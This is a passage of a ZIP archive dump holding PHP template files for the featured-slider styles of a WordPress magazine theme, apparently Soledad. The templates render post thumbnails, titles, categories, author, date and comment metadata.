									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\P    3  js_composer/shortcodes/featured_slider/style-19.phpnu [        <?php
/**
 * Template part for Slider Style 19
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $bpost_thumb_size;
				$psize = 'small';
				if ( $i % 4 == 2 || $i % 4 == 3 ): $thumb = $post_thumb_size;
					$psize                                = 'normal';endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?> <?php echo( ( $i % 4 == 2 || $i % 4 == 3 ) ? 'penci-pitem-small' : 'penci-pitem-big' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\&    2  js_composer/shortcodes/featured_slider/style-7.phpnu [        <?php
/**
 * Template part for Slider Style 7
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-square';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\ѦhC  C  3  js_composer/shortcodes/featured_slider/style-41.phpnu [        <?php
/**
 * Template part for Slider Style 41
 */
$image_size          = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';

?>
<div class="penci-slider41-wrapper">
    <div class="penci-slider41-thumb-wrapper">
        <div class="penci-slider41-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
             data-direction="vertical" data-desktop="4" data-tablet="3" data-mobile="3" data-margin="0"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider41-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                    <div class="penci-slider41-t-item">

                        <div class="pcslider-41-img">
                        <div class="penci-image-holder"
                             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                             href="<?php the_permalink(); ?>"
                             title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                        </div>
                        <div class="pcslider-41-ct">
                        <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                        </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider41-main-wrapper">
        <div class="penci-slider41-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider41-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     /w\L	  	  3  js_composer/shortcodes/featured_slider/style-38.phpnu [        <?php
/**
 * Template part for Slider Style 38
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();
if ( $penci_is_mobile ) {
	$post_thumb_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
		<?php do_action( 'penci_bookmark_post' ); ?>
        <a class="penci-slider38-overlay" href="<?php the_permalink(); ?>"></a>
        <a class="penci-image-holder"
           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $post_thumb_size ); ?>');"
           href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
        </a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $cspost_enable || ( get_the_excerpt() && ! $hide_meta_excerpt ) || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                        <div class="feat-meta">
							<?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php echo penci_show_custom_meta_fields( [
								'validator' => $cspost_enable,
								'keys'      => $cspost_cpost_meta,
								'acf'       => $cspost_cpost_acf_meta,
								'label'     => $cspost_cpost_meta_label,
								'divider'   => $cspost_cpost_meta_divider,
							] ); ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
							<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                <div class="featured-slider-excerpt"><p><?php $excerpt = get_the_excerpt();
										echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\    3  js_composer/shortcodes/featured_slider/style-30.phpnu [        <?php
/**
 * Template part for Slider Style 30
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>

        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\쥫:  :  3  js_composer/shortcodes/featured_slider/style-15.phpnu [        <?php
/**
 * Template part for Slider Style 15
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 3 == 2 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 2 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 2 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\" ֛    3  js_composer/shortcodes/featured_slider/style-27.phpnu [        <?php
/**
 * Template part for Slider Style 27
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>  <?php echo( ( $i % 5 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
